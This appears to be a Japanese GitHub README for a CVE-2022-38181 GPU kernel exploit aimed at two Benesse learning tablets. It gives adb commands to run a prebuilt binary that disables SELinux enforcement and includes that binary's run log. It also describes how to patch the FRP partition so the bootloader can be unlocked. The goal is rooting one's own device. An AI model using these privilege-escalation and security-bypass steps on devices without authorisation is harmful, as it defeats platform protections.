Skip to content

CVE-2022-38181 PoC for CTX(TAB-A05-BD) and CTZ(TAB-A05-BA1)

Notifications You must be signed in to change notification settings

SmileTabLabo/CVE-2022-38181

 
 

Repository files navigation

Exploit for CVE-2022-38181 for TAB-A05-BD(CTX) and TAB-A05-BA1(CTZ)

これは、TAB-A05-BD 及び TAB-A05-BA1 専用の SELinux の状態を Permissive にするためのエクスプロイトです。

使用方法

Note

まず、大前提として、ADB が使用可能である必要が有ります。
開発者向けオプションが塞がれている場合、DchaStateChangerNovaDirectInstaller を使用してください。

adb push shrinker /data/local/tmp
adb shell chmod +x /data/local/tmp/shrinker
adb shell /data/local/tmp/shrinker

Important

shrinker を実行して一回目で成功できるとは限りません。
途中でクラッシュしたり、無効な引数があると返される場合があります。
残念ながら仕様なので、根気強く何度も挑戦して下さい。

一番最後に result 49 と返ってきたら、

adb shell getenforce

結果が Permissive と返って来る事を確認して下さい。
エクスプロイトの実行は成功です。

TAB-A05-BD 01.11.000 での実行コード
TAB-A05-BD:/ $ /data/local/tmp/shrinker
fingerprint: benesse/TAB-A05-BD/TAB-A05-BD:9/01.11.000/01.11.000:user/release-keys
failed, retry.
region freed 56
alias gpu va 100642000
read 0
cleanup flush region
release_mem_pool
reserve pages here
jit_freed
jit_free commit: 0 0
Found freed_idx 0
find_pgd, freed_idx is 0 start_pg is 0
find_pgd, freed_idx is 0 start_pg is 0
Found pgd 23, 100659000
write_data overwrite addr : 1041009bc 9bc
write_data overwrite addr : 1043009bc 9bc
write_func called with code_size = 8
write_func overwrite addr : 104100d48 d48
write_func overwrite addr : 104300d48 d48
time to run_enforce
run_enforce: before sleep
run_enforce: after sleep
run_enforce: open
result 48
run_enforce_un: before sleep
run_enforce_un: after sleep
run_enforce_un: open
run_enforce_un: after read
run_enforce_un: after close
result 49
TAB-A05-BD:/ $ getenforce
Permissive

Tip

ブートローダーアンロックは別の処理が必要となるので、次項を参照してください。

ブートローダーアンロック

Caution

アンロックすると、端末が初期化されます
予め、必要なデータはバックアップを取ってください。

Important

SELinux が Permissive の状態の端末を使用してください。

始めに、DchaServiceTester をインストールしてください。
インストールが終わり次第、アプリを起動し、copyUpdateImage を選択して下さい。

「ファイルのコピー元フルパス」を /dev/block/by-name/frp 、「ファイルのコピー先フルパス」を /sdcard/frp.bin にして実行します。
正しく実行していれば、true と返ってくるはずです。

PC に移り、frp.bin を抽出します。

adb pull /sdcard/frp.bin

抽出したら、HexEd.it を開き、左上の「ファイルを開く」から、先程抽出したfrp.binを選択します。

一番最後の部分を、00 から 01 に書き換え、保存します。

保存出来次第、端末側に送ります。

adb push frp.bin /sdcard/frp.bin

もう一度、DchaServiceTester を開き、次は コピー元 と コピー先 を逆にして実行します。
先程と同様に、正しく実行していれば、true と返ってくるはずです。

FRP の書き換えが出来たら、bootloader モードに入ります。

adb reboot bootloader

以下のコマンドを実行し、端末側で 音量+ ボタンを押します。

fastboot flashing unlock

5秒程度でアンロックが完了します。

Tip

この時点で、修正済み factory.img をフラッシュする事を強くお勧めします。
ここ からダウンロード出来ます。 fastboot flash factory factory.img でフラッシュ出来ます。

端末を再起動します。

fastboot reboot

自動的に初期化が始まります。

これでブートローダーアンロックは完了です!

root化

こちら の記事を参照してください。

Thanks